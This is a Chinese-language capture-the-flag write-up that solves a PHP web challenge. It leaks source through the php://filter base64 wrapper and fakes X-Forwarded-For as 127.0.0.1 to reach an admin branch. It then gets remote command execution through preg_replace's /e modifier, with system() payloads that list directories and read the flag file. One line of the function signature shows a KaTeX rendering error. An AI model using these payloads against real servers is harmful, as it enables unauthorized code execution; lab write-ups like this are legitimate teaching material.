php伪协议
常用方式:
?file=php://filter/read=convert.base64-encode/resource=index.php
用来查看index.php的源码。
题目分析:
进入后,点击设备维护中心(只有这一个可以点)
查看源代码,可以看见存在一个参数为page,就在“云平台设备维护中心”:
点击该处即可发现自己发现了新世界:
首先判断是否存在文件包含漏洞:
/index.php?page={{1+1}}
发现界面没有显示,则不存在文件包含漏洞,但是更改page的值,发现存在回显,则可以尝试利用php伪协议:
/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
即可得到经过base64编码的网页源代码,进行base64解码后查看:
部分代码为:
<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p>
<br /><br /><br /><br />
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');
}
include($page);
die();
?>
</p>
<br /><br /><br /><br />
}}
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);
}else{
die();
}
}
?>
isset() 函数用于检测变量是否已设置并且非 NULL。
**ctype_alnum()**函数是PHP中的字符类型(CType)函数,用于检查给定的字符串是否包含字母数字字符。
即说明输入的page必须不为空,且包含字母和数字。
strpos() 函数查找字符串在另一字符串中第一次出现的位置。
说明要想执行else,则输入的page中不能存在input、ta:text、text这些值。
继续审查代码,发现该网页还有另外一种登录方式,既可以通过本地ip登录,只需要把本地ip伪造成127.0.0.1即可。
成功使用本地访问。
preg_replace函数漏洞:
>>> mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int KaTeX parse error: Expected 'EOF', got '&' at position 19: …it = -1 [, int &̲count ]] )
>>> 如果pattern参数的结尾包含了/e修正符的话,如果replacement构成合法的代码的话便会执行
则构造payload查看当前工作路径:
/index.php?pat=/heihei/e&rep=system(%22pwd%22)&sub=heihei
列出当前路径下所有文件:
/index.php?pat=/heihei/e&rep=system("ls /var/www/html ")&sub=heihei
/index.php?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir ")&sub=heihei
/index.php?pat=/heihei/e&rep=system("ls /var/www/html/s3chahahaDir/flag")&sub=heihei
/index.php?pat=/heihei/e&rep=system("cat /var/www/html/s3chahahaDir/flag/flag.php")&sub=heihei
发现没有输出,查看源代码:
成功找到flag!